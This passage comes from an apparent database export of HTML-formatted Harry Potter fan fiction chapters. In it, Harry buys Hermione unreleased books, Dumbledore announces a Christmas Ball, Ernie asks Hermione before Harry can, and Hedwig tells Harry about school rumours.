wearing a fine red elegant dress and the other had nothing on.  </p>\n\n<p>Maybe someone bought whatever was on it, laughed Harry in his head as he thought that one dressed manikin and a naked one didn&#8217;t really look very pleasing to the eye.  It was no wonder it was a thrift store. The moment Harry had stepped through the door, his jaw dropped to the floor. </p>\n\n<p>The store didn&#8217;t look that big from the outside, but the inside as about as big as the Great Hall back at school, only that miscellaneous items were scattered everywhere, some were in huge piles in corners, things were out of order, and a mess.  It was a miracle if anyone could walk in there without stepping on something and breaking it.</p>\n\n<p>&#8220;How do people find things in this place?&#8221; asked Harry out loud.  </p>\n\n<p>&#8220;They come to me,&#8221; said an acute female voice in front of him.  Harry&#8217;s head shot up and came face to face with an older girl that looked a lot like Ami from the Restaurant he and Hermione had eaten at.  The only thing was that she looked&#8230; prettier for some reason than Ami was.</p>\n\n<p>&#8220;Ami?&#8221; questioned Harry as he squinted his eyes and made his way to the counter she was behind.</p>\n\n<p>&#8220;Oh!&#8221; said the woman, turning a shade of pink.  &#8220;You must have met my sister.  She and I are twins.&#8221;</p>\n\n<p>Harry couldn&#8217;t help but smile at the statement.  This would be the second set of twins he ever met in his life.</p>\n\n<p>&#8220;I&#8217;m Ashley&#8221; </p>\n\n<p>&#8220;And I&#8217;m Harry,&#8221; he said as he carefully made his way over to her.  &#8220;I was going to guess that you were Lynda,&#8221; he added right when he had succeeded in stepping over any items in his path and finding coming to a rest at the counter.</p>\n\n<p>&#8220;Harry? Surely you don&#8217;t mean Harry Pott&#8230; Bless my soul!  You are Harry Potter!&#8221; Ashley exclaimed after successfully spotting the scar on his forehead.  Harry didn&#8217;t say anything.  He was too used to this sort of thing.</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; Ashley said as she caught up with her breath and returned to normal. &#8220;Where were we&#8230;ah yes&#8230; Lynda was our grandmother,&#8221; she confirmed, &#8220;she ran this shop for decades&#8230; until she passed away.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; was the automatic reply from Harry.</p>\n\n<p>&#8220;Don&#8217;t be,&#8221; replied Ashley.  &#8220;Now what can I do for you?&#8221;</p>\n\n<p>&#8220;Well I saw your sign outside and I was wondering&#8230;&#8221;</p>\n\n<p>&#8220;Oh wait a minute,&#8221; Ashley interrupted.  &#8220;I&#8217;m sorry but were all sold out of gifts.&#8221;</p>\n\n<p>&#8220;Sold out!?&#8221; cried Harry incredulously.  &#8220;I nearly stepped on half a million things in here, and you tell me that your sold out of stuffs!?&#8221;</p>\n\n<p>Ashley shot a hand to her mouth to hid her giggling.</p>\n\n<p>&#8220;What&#8217;s so funny?&#8221; asked Harry, feeling very impatient.</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; apologized Ashley as she tried to stifle her giggles.  &#8220;Let me explain.  First, I should have taken that sign down days ago, so that&#8217;s my fault.  Second, the reason why we call it &#8220;amazing gifts&#8221; is because we get things way in advance than the other shops do.  Just imagine, getting something that no one else in the world has really is an amazing gift.  Don&#8217;t you agree?&#8221;</p>\n\n<p>&#8220;I suppose,&#8221; said Harry, feeling a bit embarrassed at yelling like that and rubbing the back of his head.  &#8220;So what are all of these then?&#8221;  he said, motioning to all the junk on the floor.</p>\n\n<p>&#8220;These are all second hand stuff,&#8221; explained Ashley.  &#8220;Usually people don&#8217;t buy these things.  That&#8217;s why there&#8217;s so much of it.  People usually come here to buy the unreleased stuff.&#8221;  </p>\n\n<p>&#8220;How come I never heard of this place if it&#8217;s so popular?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; shrugged Ashley.  &#8220;Maybe it&#8217;s because people want to keep this place to themselves when buying all the goods we receive.&#8221;</p>\n\n<p>Harry nodded.  All in all, the place really did seem like a nice store; it just needed a good make-over and a janitor who was willing to do such an excruciating job.  </p>\n\n<p>&#8220;If you don&#8217;t mind me prying, how do you get all the things in advance?&#8221; asked Harry in a whisper as if someone else would hear.</p>\n\n<p>&#8220;My grandmother knew big people in high places,&#8221; said Ashley mysteriously.  &#8220;That&#8217;s all I&#8217;m allowed to say.&#8221;</p>\n\n<p>There was a long silence as Harry casually looked in the room from wall to wall.  There was no way he was going to find anything in here that was good enough to impress Hermione, other than the fact that the place was messier and more disorganized than Ron was.</p>\n\n<p>&#8220;I guess there&#8217;s nothing in here that can impress a girl then huh?&#8221; said Harry as he gave up trying to look at the heap of stuff al over the floor.</p>\n\n<p>&#8220;A girl?&#8221; questioned Ashley, her eyebrows furrowing at what Harry had just said.  Her eyes seemed to light up too.  &#8220;If you don&#8217;t mind, tell me about this girl.  Maybe I could help you find something for her.&#8221;</p>\n\n<p>&#8220;I wish I could,&#8221; Harry said dreamily.  &#8220;She&#8217;s&#8230; absolutely one of a kind.  I don&#8217;t think I could describe her if I wanted to.  I mean, Hermione&#8217;s just&#8230; Hermione.&#8221;</p>\n\n<p>&#8220;Hermione huh?  That&#8217;s a pretty name,&#8221; smiled Ashley.  &#8220;She must be some girl if the famous Harry Potter wants to impress her.&#8221;</p>\n\n<p>&#8220;I&#8217;ve liked her for so long already,&#8221; continued Harry, as if he hadn&#8217;t heard a word Ashley said.  &#8220;I just which there was something I could give her that&#8217;ll really impress her.&#8221;</p>\n\n<p>&#8220;How about jewelry?&#8221; suggested Ashley.</p>\n\n<p>&#8220;Tried that already.  That really didn&#8217;t seem to do anything.  Besides, it&#8217;s not &#8216;Hermione&#8217;.&#8221;</p>\n\n<p>&#8220;How about clothes?&#8221;</p>\n\n<p>&#8220;No.  It&#8217;s not&#8230; &#8216;Hermione&#8217;.&#8221;</p>\n\n<p>Ashley did as best as she could in suggesting just about anything that a &#8220;normal&#8221; girl would like: clothes, jewelry, makeup, gift certificates for shopping, etc; still, Harry always gave the same answer&#8230;</p>\n\n<p>&#8220;No. It&#8217;s still not&#8230; &#8216;Hermione&#8217;.&#8221;</p>\n\n<p>&#8220;Well I don&#8217;t know then,&#8221; gave up Ashley.  &#8220;Seems like you <i>really </i>need to work to impress this girl.  I&#8217;m sorry I can&#8217;t help you.&#8221;</p>\n\n<p>&#8220;It&#8217;s ok,&#8221; said Harry, feeling a bit disappointed,  &#8220;but I really appreciate your help.&#8221;  Suddenly, a look of revelation flashed across Ashley&#8217;s face.</p>\n\n<p>&#8220;I just remembered!&#8221; she yelled, slamming her hands down on the counter.  &#8220;We got a new unreleased item this morning!&#8221;  She looked so excited that Harry started to feel afraid.</p>\n\n<p>&#8220;I can&#8217;t believe that I forgot&#8230;! Oh&#8230;&#8221;  Her face suddenly fell.</p>\n\n<p>&#8220;What is it?&#8221; Harry asked.</p>\n<p>&#8220;Forget what I just said,&#8221; she stated sadly.</p>\n\n<p>&#8220;Why?&#8221;</p>\n\n<p>&#8220;Well unless your friend likes to read, I&#8217;m afraid that I can&#8217;t help you,&#8221; Ashley explained sadly.</p>\n\n<p>Harry&#8217;s facial expression went from hopeful, to excited, to worried, to disappointed, to ecstatic all in the course of their conversation.</p>\n\n<p>&#8220;Huh?  Books?&#8221; was all Harry could say because he was so dumb-founded.</p>\n\n<p>&#8220;Yeah,&#8221; continued Ashley, &#8220;I got <i>Hogwart&#8217;s: A Revised History Volumes I-IV.&#8221;</i></p><i>\n</i>\n<p>Harry&#8217;s eyes lit up even more than they already were.</p>\n\n<p>&#8220;You&#8217;re kidding, right Ashley?&#8221; asked Harry, his tone in a sort of dead manner, still in awe of what Ashley said she had.</p>\n\n<p>&#8220;Yeah,&#8221; she said, raising an eyebrow at him and feeling slightly afraid now.  &#8220;Why?&#8221;</p>\n\n<p>&#8220;I&#8217;ll take it!&#8221; Harry shouted literally at the top of his lungs in a light-hearted manner.  Ashley practically had to shield herself from him.</p>\n\n<p>&#8220;What?&#8221; was all that Ashley could say.</p>\n\n<p>&#8220;You&#8217;re a life saver!&#8221; exclaimed Harry as he wrapped his arms around her in a tight hug.</p>\n\n<p>&#8220;Oh my gosh,&#8221; said Ashley.  That was about all she could say, considering that she was having a had time breathing.  When Harry finally released her and Ashley could breath correctly again, she spoke.</p>\n\n<p>&#8220;I don&#8217;t get it,&#8221; she pondered.  &#8220;Why are you so excited over those books?&#8221;</p>\n\n<p>&#8220;Oh <i>you</i> don&#8217;t know Hermione,&#8221; Harry tried to explain.  &#8220;Books to Hermione is like&#8230; Quidditch is to me.&#8221;</p>\n\n<p>&#8220;Ohh,&#8221; nodded Ashley, indicating that she got it.  &#8220;You play Quidditch?&#8221;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&#8220;I&#8217;m guessing Seeker?&#8221;</p>\n\n<p>&#8220;You&#8217;re right, but how&#8230;&#8221;</p>\n\n<p>&#8220;My father loved the game too,&#8221; explained Ashley.  &#8220;He was a Chaser, just like my grandfather, and his dad before that.&#8221;</p>\n\n<p>&#8220;Oh, so you know the perks to the game?&#8221; asked Harry interestedly.</p>\n\n<p>&#8220;More than you think,&#8221; smiled Ashley.  There were a few exchanged laughs.</p>\n\n<p>&#8220;So&#8230; Herm-me-own-knee likes to read does she?&#8221;</p>\n\n<p>&#8220;It&#8217;s Her-my-oh-knee,&#8221; corrected Harry.  &#8220;And yes she <i>loves</i> to read.  That&#8217;s why I&#8217;m so excited about the books.  If I get her that, it&#8217;s guaranteed to impress her.&#8221;</p>\n\n<p>&#8220;Well I sure was wrong,&#8221; admitted Ashley as she went in the back to get the books.</p>\n\n<p>***</p>\n\n<p>The size of the 4 books that Ashley brought back were enormous; it looked like Ashley ran around Hogwart&#8217;s grounds for hours nonstop when she finally put then down on the counter with a loud thud.  All the books were bounded in dark blue leather with gold calligraphy written across the covers: <i>Hogwarts: A Revised History Vol. 1 </i>and so on.</p>\n\n<p>After Harry paid her for the books and told her what situation he was in, Ashley helped him shrink the books with a shrinking charm so that he could hide it safely in his pocket.</p>\n\n<p>After a final thank you, a firm hug, a good luck, and a final wave, Harry made his way outside of the shop and walked over to the bookstore where Hermione had gone in.  He waited a few minutes before she came out; Harry greeted her with a wave.</p>\n\n<p>&#8220;Well how was it?&#8221; asked Harry, trying as hard as he could not to look excited.</p>\n\n<p>&#8220;It was great!&#8221; Hermione exclaimed, literally jumping up and down.</p>\n\n<p>&#8220;Whoa! Calm down,&#8221; said Harry as he tried to settle her.  &#8220;What was it that was so great?&#8221;</p>\n\n<p>&#8220;Well I just found out that they&#8217;re going to release <i>Hogwarts: A Revised History Vol. I-IV </i>late in the school year!&#8221;</p>\n\n<p>&#8220;Really?&#8221; said Harry.  He could help but smile just a little.</p>\n\n<p>&#8220;Yes, really Harry!  I wanted to reserve the set for myself, but they weren&#8217;t taking any more reservations.  I guess I&#8217;ll just have to wait until it comes out in the shops,&#8221; Hermione said with hopefulness in her voice.  &#8220;<i>But late in the school year!?  </i>That&#8217;s too long of a wait for me!&#8221;</p>\n\n<p>&#8220;Oh I&#8217;m sure you&#8217;ll manage,&#8221; Harry grinned at her.  &#8220;Good things come to those who wait right?&#8221;</p>\n\n<p>&#8220;I guess you&#8217;re right,&#8221; said Hermione.  &#8220;But I&#8217;m just so excited!&#8221;</p>\n\n<p>It was great to know that he had something that was indeed going to impress her and probably even more than that.  Harry couldn&#8217;t help but smile back at her; hopefully she didn&#8217;t see how excited he was too.</p>\n\n'),
	(169, 6, '\n\n<b><p align="CENTER">Chapter 6 - The Announcement </p>\n<p align="CENTER"></p>\n<p align="CENTER">&nbsp;</p>\n</b><p>The next few days were sort of blissful for Harry.  He had taken Hermione out again in a long time and he had already had a gift for her for Christmas was in advanced.  Harry was more excited about the gift than anything; he didn&#8217;t really notice the big goofy grin on his face that appeared much to often.</p>\n\n<p>&#8220;What&#8217;s with you?&#8221; asked Ron one time when they were in Divination class one day.</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; replied Harry with the same stupid smile on his face.  &#8220;For some reason, I&#8217;m just happy today that&#8217;s all.&#8221;</p>\n\n<p>Ron gave him a perplexed look.  &#8220;You&#8217;ve said that for the past few days already Harry and you&#8216;re never <i>this </i>happy in Divination,&#8221; he replied irritated.  &#8220;Never mind,  I give up already.&#8221;</p>\n\n<p>If the anticipating gift didn&#8217;t delight Harry, there was something else that was: an announcement Professor Dumbledore was going to make at dinner one day.</p>\n\n<p>&#8220;May I have your attention please,&#8221; he said over the conversations that were going on at the house tables.  The noise gradually diminished to silence.  Harry, Ron, and Hermione looked up at him with great interest; it was rare for Dumbledore to interrupt in the middle of dinner.</p>\n\n<p>&#8220;As all of you may know, the Christmas holidays are coming up,&#8221; said Dumbledore as his eyes moved through the Great Hall.  &#8220;The professors and I have met and we all have agreed to have a Christmas Ball and other Balls to follow.&#8221;</p>\n\n<p>Immediately there were shrieks from girls and groans from boys throughout the Hall.  Harry, however, was one of the little few guys that were excited.  This would be another chance to ask Hermione to be my date, he thought.</p>\n\n<p>&#8220;However,&#8221; continued Dumbledore, his voice a bit louder to overcome the students&#8217; soft conversations, &#8220;there will be something special about all these Balls.  It will be of semi-formal or formal and if you are allowed to attend with or without a date.&#8221;</p>\n\n<p>Many puzzled faces filled the Hall with the occasional &#8220;huh?&#8221; from students.</p>\n\n<p>&#8220;For this,&#8221; Dumbledore resumed, &#8220;I will be using a choosing Goblet much like the one used in the year when Hogwarts hosted the Tri-Wizard Tournament.&#8221;</p>\n\n<p>With a wave of his wand, a golden goblet with blue flames coming from appeared in front of him in a patch of white smoke that startled some students who were sitting close to the Head table.  A small piece of parchment flew from it and Dumbledore snatched it.</p>\n\n<p>&#8220;The dress attire for this dance will be&#8230; formal attire,&#8221; he announced.</p>\n\n<p>There were half groans and half cheers from the Hall just as another piece of parchment flew from the goblet;  Dumbledore snatched that one too.</p>\n\n<p>&#8220;For this dance, partners are&#8230; (there was a small smile and a twinkle in his eye) required.&#8221;</p>\n\n<p>&#8220;Required!?&#8221; someone said from the Ravenclaw table.</p>\n\n<p>&#8220;Yes required.  If any student do not make these requirements, then he or she is not allowed to attend,&#8221; explained Dumbledore in a final sort of way.  There more a lot more groans of disappointment in the Hall than ever before.</p>\n\n<p>*** </p>\n\n<p>The Hall was filled with a lot more noise of conversation after Dumbledore&#8217;s announcement.</p>\n\n<p>&#8220;Can you believe a Christmas Ball is coming up?&#8221; said Ron from across  the table to Harry.  &#8220;This is great!&#8221;</p>\n\n<p>Harry did nothing more than nod reassuringly to Ron.</p>\n\n<p>&#8220;So who are you going to take Harry?&#8221; Ron asked as he helped himself to some dessert.</p>\n\n<p>Harry didn&#8217;t say anything.  He turned to his right at Hermione who was sitting next to him.  She was reading a book and occasionally taking small bites off of her plate when she had to turn a page.  She didn&#8217;t look at all interested about the Ball as everyone else.  Harry turned back toward Ron.</p>\n\n<p>&#8220;I have an idea who to ask,&#8221; he replied in an obvious tone.</p>\n\n<p>Ron knew the routine.  If the word &#8220;date&#8221; was in a sentence, &#8220;Harry&#8221; and/or &#8220;Hermione&#8221; would follow after.  It was quite strange really; though Harry had taken Hermione out on many different occasions, Ron never hinted or implied that Harry might have some sort of crush on her.</p>\n\n<p>***</p>\n\n<p>After dinner, the Hall cleared a lot quicker than usual, probably the anticipation of the Ball.  Harry, Ron, and Hermione were one of the last ones to leave the Hall.  They stood about 10 feet from the doors.  Ron, however, seemed to have plans of his own.</p>\n\n<p>&#8220;I need to find Rachel,&#8221; he grinned while rubbing his hands together.  &#8220;We need to plan on what we&#8217;re going to wear for the Ball.  I&#8217;ll see you two around?&#8221;</p>\n\n<p>&#8220;Sure Ron,&#8221; answered Harry.  &#8220;And try not to <i>over</i> do it this time?&#8221;</p>\n\n<p>&#8220;Oh I won&#8217;t,&#8221; Ron shouted as he ran for the Hall&#8217;s doors.  &#8220;And good luck with your plans!&#8221;  he said right as he disappeared around the corner.</p>\n\n<p>&#8220;Ron,&#8221; Hermione said shaking her head.  &#8220;He will always be&#8230; Ron.&#8221;</p>\n\n<p>&#8220;Tell me about it,&#8221; said Harry as he looked down at her.  She was still reading that book that he had seen her with earlier.</p>\n\n<p>&#8220;So what plans was Ron talking about Harry?&#8221; Hermione questioned, finally shutting the book and giving all the attention to him.</p>\n\n<p>&#8220;Don&#8217;t know,&#8221; Harry shrugged, trying as hard as he could to hide a smile.  Luckily, Hermione didn&#8217;t notice.</p>\n\n<p>&#8220;I see you&#8217;re not at all eager about the Christmas Ball,&#8221; said Harry.</p>\n\n<p>&#8220;When am I ever Harry?&#8221;</p>\n\n<p>&#8220;Well you seemed pretty excited in 4th year,&#8221; mentioned Harry.</p>\n\n<p>&#8220;That&#8217;s because I had something to look forward to!&#8221; explained Hermione.  &#8220;Besides you, Viktor was the only other person that ever asked me out.&#8221;</p>\n<p>&#8220;Really?&#8221; Harry asked a bit perplexed.  &#8220;Krum and I are the only ones that ever asked you out?&#8221;</p>\n\n<p>Hermione nodded sadly while she clutched the book she was reading to her chest.  &#8220;I guess that I&#8217;m not a very social person,&#8221; she answered with dignity in her voice.  &#8220;So who are you going to ask to the Ball?&#8221;</p>\n\n<p>&#8220;I have an idea,&#8221; smiled Harry.</p>\n\n<p>&#8220;Oh who is it!?&#8221;</p>\n\n<p>&#8220;Rather not say,&#8221; Harry responded.  &#8220;Not right now anyway.&#8221;</p>\n<b>\n</b><p>There was a long silence between them.  Harry wisely used this time to think about how he was going to ask Hermione to the Ball.  Though it was still kind of far away, he figured that the earlier, the better; just like how he already had her gift ready to go.</p>\n\n<p>&#8220;Look Hermione,&#8221; started Harry.  &#8220;There&#8217;s something that I want to ask you.&#8221;</p>\n\n<p>He had her undivided attention.</p>\n\n<p>&#8220;I -&#8221;</p>\n\n<i></i><p><i>&#8220;Hermione, Hermione!&#8221; </i>a voice yelled and interrupted behind her. It belonged to Ernie MacMillian, a Hufflepuff 7th year.  She automatically turned around just as the boy stopped next to her; he was slouched over and his hands were on his knees to catch his breath.</p>\n<b>\n</b><p>&#8220;Ernie,&#8221; said Harry, looking down at him.  &#8220;Are you ok?  You look like you ran for your life.&#8221;</p>\n<p> </p>\n<p>&#8220;I&#8217;m&#8230; fine Harry, thanks,&#8221; he puffed.  He turned his attention toward Hermione.  &#8220;I had&#8230; to find you&#8230; Hermione&#8230; before my chance went by.&#8221;</p>\n\n<p>&#8220;Why?&#8221; she asked. &#8220;What chance?&#8221;</p>\n\n<p>&#8220;My chance&#8230; to ask you&#8230; to the Christmas Ball,&#8221; he said in about three breaths.</p>\n\n<p>Hermione mouth dropped open just about the same time that Harry&#8216;s did; though they dropped for two different reasons.  Ernie took a few more breaths, redid his posture, and tried his best to look formal.</p>\n\n<p>&#8220;Hermione, may I have the honor of taking you to the Christmas Ball?&#8221;</p>\n\n<p>If Harry had no self control, he would have said some things along the lines of:  &#8220;She&#8217;s not going with you because she&#8217;s going with me.&#8221;  Then he realized that he hadn&#8217;t even asked her yet.  Harry&#8217;s heart fell.</p>\n\n<p>&#8220;I&#8230; I&#8230;&#8221; stammered Hermione, though she did look a lot more flattered than Harry thought she would.  &#8220;I would love to go with you!&#8221; she smiled.</p>\n\n<p>Ernie returned with the same grin.  &#8220;That&#8217;s great!&#8221; he smiled.  &#8220;It&#8217;s a date then.  I&#8217;ll see you around Hermione.  See you later Harry.&#8221;</p>\n\n<p>&#8220;See you Ernie,&#8221; said Harry with a bit more scorn than he intended; thankfully, no one noticed.</p>\n\n<p>&#8220;He&#8217;s in your Arithmancy  Class isn&#8217;t he?&#8221; Harry asked just as Ernie disappeared out the door.  </p>\n\n<p>&#8220;He is,&#8221; sighed Hermione.  &#8220;He always asks me for help in that class and sometimes we even study together.&#8221;</p>\n\n<p>Harry looked down at her questioningly.  He didn&#8217;t know if she was implying that she had a crush on him or not.</p>\n\n<p>&#8220;It&#8217;s funny though,&#8221; Hermione giggled.  &#8220;Sometimes I explain something to him at least a thousand times before he gets it!&#8221;</p>\n\n<p>Harry laughed too.  More to himself for being stupid and idiotic than anything.</p>\n\n<p>&#8220;So what were you going to ask me Harry?&#8221; she asked, once again giving him all her attention.</p>\n\n<p>&#8220;Well, I&#8230;&#8221; stammered Harry, turning a shade of pink.  He was just going to ask Hermione to the Ball literally seconds before Ernie, but Ernie had beat him to it!  Obviously, he had the same plan as Harry did.</p>\n\n<p>&#8220;What is it?&#8221; Hermione asked, her eyes full of concern.</p>\n\n<p>&#8220;It&#8217;s nothing,&#8221; Harry replied sadly after a long sigh.  &#8220;It&#8217;s not important.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; she inquired.  &#8220;Because we can talk about it.&#8221;</p>\n\n<p>Harry forced a small laugh and shook his head.  &#8220;It&#8217;s ok,&#8221; Harry assured.</p>\n\n<p>Hermione looked back at him.  The look on her face plainly showed that she knew something <i>was</i> wrong, but decided not to push it anymore.  She tried to lighten the mood.</p>\n\n<p>&#8220;So about that girl you were going to ask,&#8221; she said as the both of them headed out the Hall and to their private Head Boy and Head Girl dormitories.</p>\n\n<p>&#8220;What about her?&#8221;</p>\n\n<p>&#8220;Maybe you&#8217;ll impress her,&#8221; she said hopefully,  &#8220;if you should ask her as soon as possible, much like how Ernie impressed me by asking me so early.&#8221;</p>\n\n<p>&#8220;Yeah I should&#8217;ve,&#8221; Harry replied desolately, not realizing what he had just said.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;I should,&#8221; Harry corrected, blushing just a bit and mentally punching himself.</p>\n\n<p>***</p>\n\n<p>As Harry and Hermione entered the portrait of the Fat Lady, they did their usual routine: Harry walked her over to her private dorm, just like he always did.  After saying goodnight, Hermione shut the door quietly and Harry walked over to his dorm, located directly across from hers.</p>\n\n<p>Harry slumped on his bed with a thud after shutting the door behind him; he didn&#8217;t even bother to change.</p>\n\n<p>&#8220;This really sucks,&#8221; said Harry to himself.  &#8220;I missed my<i> chance</i> in just seconds.&#8221;  He laughed at how all the timing was off.</p>\n\n<p>It looks like I have a few decisions to make, he thought to himself, just as his eyes closed due to frustration.  Without realizing it, he drifted away into a deep sleep, dwelling on when Ernie had asked Hermione to the Ball and how if he was seconds earlier, it would be <i>him</i> going to the Ball with her.</p>\n\n'),
	(169, 7, ' <b><p>Chapter 7 - Rumors</p>\n\n<p></p>\n\n<p>&nbsp;</p>\n\n</b><p>Harry tried to get by the next few weeks without seeming so down in the dumps; but with the thought of Ernie going to the Ball with Hermione, it was very hard to do. Sometimes, Harry couldn&#8217;t control the facial expressions he had on; sometimes they would be as blank as a piece of parchment, other times it would be as vivid as a raging bull. There were, however, some small things that Harry noticed.</p>\n\n<p>A lot of eyes would stare at him whenever he would walk the halls alone. Though he had gotten used to the eyes following him over the past few years, there was something different about the way he was getting looked at and how some of the students were acting.</p>\n\n<p>There was one time when Harry was about to walk into the Great Hall for lunch, but the entrance was blocked by two 3rd years who were chatting away about something.</p>\n\n<p>&#8220;Excuse me,&#8221; said Harry politely so that they could move out of the way. One of the boys that were talking took one look at Harry and his eyes widened with fear.</p>\n\n<p>&#8220;Oh I&#8217;m so sorry Harry!&#8221; he exclaimed, holding his hands up near his face. &#8220;I didn&#8217;t mean to be blocking your way! I was just&#8230;&#8221;</p>\n\n<p>&#8220;Hey, hey, hey,&#8221; Harry interrupted, putting his hand on the boy&#8217;s shoulder to calm him. This made the boy flinch slightly and shut his eyes tightly. Harry laughed through his nose at the reaction. &#8220;It&#8217;s ok. Just make a little room so that I can pass, that&#8217;s all.&#8221;</p>\n\n<p>&#8220;Ok,&#8221; the 3rd year whimpered and moved to the side quickly. The other 3rd year that the boy had been talking to was silent the whole time and literally shaking on the spot, as if Harry might beat him up or something if he even breathed.</p>\n\n<p>If that was a weird encounter for him, the moment he stepped in the Great Hall was even better.</p>\n\n<p>He had taken no more than 3 steps when, as if on cue, every single head in the Hall turned toward him and the Hall fell into a complete silence. Harry&#8217;s eyes moved inquisitively from one end of the Hall to the other. Some students were looking at him with a blank stare. Some were shaking more or less than the boy that was blocking the doorway. One girl looked so terrified that she was crying silently to herself; the girl sitting next to her tried to calm her down and it looked like she was trying to do it without Harry noticing. It would have been hilarious if the mood wasn&#8217;t so serious. </p>\n\n<p>As Harry made his way to the usual spot on Gryffindor table where he, Ron, and Hermione usually sat. He noticed that they weren&#8217;t there yet, which was usual; Hermione, being the punctual person she always is, was usually there before him and Ron. If Ron was there first, it was because he had accompanied Rachel down. Not thinking about what could be up with them, (especially Hermione) he sat himself down and tried to get a head start on his homework. It was difficult though, with all the eyes of the other students on him as if they were anticipating an explosion or something.</p>\n\n<p>A few moments later, a great white owl swooped into the Hall and landed right next to the book that Harry was reading, startling him a bit.</p>\n\n<p>&#8220;Hedwig!&#8221; Harry exclaimed after reacting to her marvelous entrance. &#8220;You scared me to death!&#8221; He reached into his bag and put on the necklace that Sirius had given him which allowed him to talk to Hedwig.</p>\n\n<p>&#8220;Sorry Harry,&#8221; she apologized in the same hoot they always conversed in. &#8220;I&#8217;ve been looking all over for you.&#8221;</p>\n\n<p>&#8220;For what?&#8221; Harry hooted back softly, hoping that no other student was listening. It was one thing to hoot at your owl once, but to do it several times made it look very suspicious.</p>\n\n<p>&#8220;Where&#8217;s Ron and Hermione?&#8221; asked Hedwig.</p>\n\n<p>&#8220;Don&#8217;t know,&#8221; Harry shrugged. &#8220;Haven&#8217;t seen them since last night.&#8221;</p>\n\n<p>&#8220;How was your date with Hermione?&#8221; she asked, looking sort of excited and wanting details.</p>\n\n<p>&#8220;It was ok,&#8221; hooted Harry admittedly. &#8220;We ate at this wizard restaurant that travels around the world.&#8221;</p>\n\n<p>&#8220;Sounded like fun,&#8221; Hedwig hooted as she helped herself to some of Harry&#8217;s pumpkin juice. &#8220;Anything <i>interesting </i>happen?&#8221;</p>\n\n<p>&#8220;Not really,&#8221; sighed Harry. &#8220;But I did find this store afterwards and I already bought Hermione a gift!&#8221;</p>\n\n<p>&#8220;How sweet,&#8221; sighed Hedwig dreamily. &#8220;Is it impressive?&#8221;</p>\n\n<p>&#8220;Should be to her,&#8221; grinned Harry. &#8220;I got her <u>Hogwarts: A Revised History Vol. I-IV</u>.&#8221;</p>\n\n<u>\n\n</u><p>&#8220;Really!?&#8221; said Hedwig in a screech so incredulously that students heads turned in the direction, probably thinking that Harry had committed cruelty to animals.</p>\n\n<u>\n\n</u><p>&#8220;Sorry,&#8221; she apologized in a lower hoot. &#8220;But I think Hermione will love that! In fact, I believe that it hasn&#8217;t even been released yet. Where did you get something like that!? I hope you didn&#8216;t do anything illegal to get it.&#8221;</p>\n\n<p>&#8220;My secret,&#8221; smiled Harry mischievously. Their conversation had naturally gotten louder, making other students look and get very suspicious.</p>\n\n<p>&#8220;Harry try and keep it down ok?&#8221; hooted Hedwig when she noticed all the eyes staring in her direction. Harry nodded and there was a long and unusual pause as he continued to look at his book. &#8220;Are you ok with all of this?&#8221;</p>\n\n<p>That made Harry stop giving all his attention to the book and it went toward Hedwig instead. &#8220;What do you mean?&#8221;</p>\n\n<p>&#8220;I mean with all the students talking about you and stuff,&#8221; replied Hedwig matter-of-factly.</p>\n\n<p>&#8220;What the heck are you talking about Hedwig? What are the other students saying about me?&#8221; he boomed, getting a little angry that people were talking behind his back.</p>\n\n<p>&#8220;Oh!&#8221; exclaimed Hedwig, taken aback. &#8220;I thought you knew. But that look on your face says that you have no idea what I&#8217;m talking about. But I think that now is not a good time to&#8230;&#8221; </p>\n\n<p>&#8220;Talk,&#8221; Harry commanded.</p>\n\n<p>&#8220;Ok ok,&#8221; submitted Hedwig, holding out her wings. &#8220;Now where do I start&#8230;&#8221; She took a moment to think and it looked like she was planning on what she was going to say. Harry sat and waited patiently.</p>\n\n<p>&#8220;Well I listen to what some students talk about,&#8221; started Hedwig. &#8220;Let&#8217;s just say that rumors are spreading about you that&#8217;s all.&#8221;</p>\n\n<p>&#8220;Like what?&#8221;</p>\n\n<p>&#8220;Umm&#8230;,&#8221; Hedwig continued. &#8220;You know about how Ernie asked Hermione to the Christmas Ball right.&#8221;</p>\n\n<p>&#8220;Unfortunately yes,&#8221; Harry answered, his heart twisting just a little at the subtle reminder.</p>\n\n<p>&#8220;Well it spread through the school like a plague.&#8221;</p>\n\n<p>&#8220;What&#8217;s that got to do with me?&#8221; Harry asked quizzically.</p>\n\n<p>&#8220;Well not directly. But indirectly it does.&#8221;</p>\n\n<p>&#8220;How?&#8221;</p>\n\n<p>Hedwig took a deep breath and started to pace back and forth on the table, trying to think about how she was going to explain any of this. She stopped right in front of Harry and made herself comfortable on the table.</p>\n\n<p>&#8220;It was a shock to many people when they heard that Ernie had asked Hermione to the ball.&#8221;</p>\n\n<p>&#8220;Why?&#8221; Harry asked quizzically, raising one of his eyebrows. &#8220;I know that everyone knows that I&#8217;ve taken Hermione out on a few dates. But big deal! Just because I&#8217;ve taken her out often, it doesn&#8217;t mean that I <i>have </i>to take her to <i>everything </i>that requires a date&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s not that simple Harry,&#8221; Hedwig interrupted. &#8220;Yes, it&#8217;s evidently true that you and Hermione have been out a few times, but in the eyes of hormone-crazed adolescence, they see something else and they assume things.&#8221;</p>\n\n<p>&#8220;Like <i>what</i>?&#8221; Harry inquired as he frowned.</p>\n\n<p>&#8220;Many students thought that you and Hermione were dating, not because you two were great friends, but because they thought that you two were boyfriend and girlfriend.&#8221; Hedwig elucidated in a way as if Harry should have known that.</p>\n\n<p>&#8220;Oh,&#8221; was all Harry could manage after a few moments of absorbing Hedwig&#8217;s proclamation.</p>\n\n<p>&#8220;I don&#8217;t blame them for making such a notion,&#8221; she added, fluffing her wings a bit. &#8220;I mean, it&#8217;s very obvious Harry.&#8221;</p>\n\n<p>&#8220;What is?&#8221; he wondered. Hedwig could only manage a heartedly owl laugh.</p>\n\n<p>&#8220;The way you two act silly,&#8221; she smiled. &#8220;It&#8217;s pretty blatant that the famous and Quidditch-playing Head Boy, Harry Potter has a romantic affection for the popular and studious Head Girl, Hermione Granger; not to mention very pretty too.&#8221;</p>\n\n<p>&#8220;Don&#8217;t say that Hedwig,&#8221; Harry said as he felt himself go 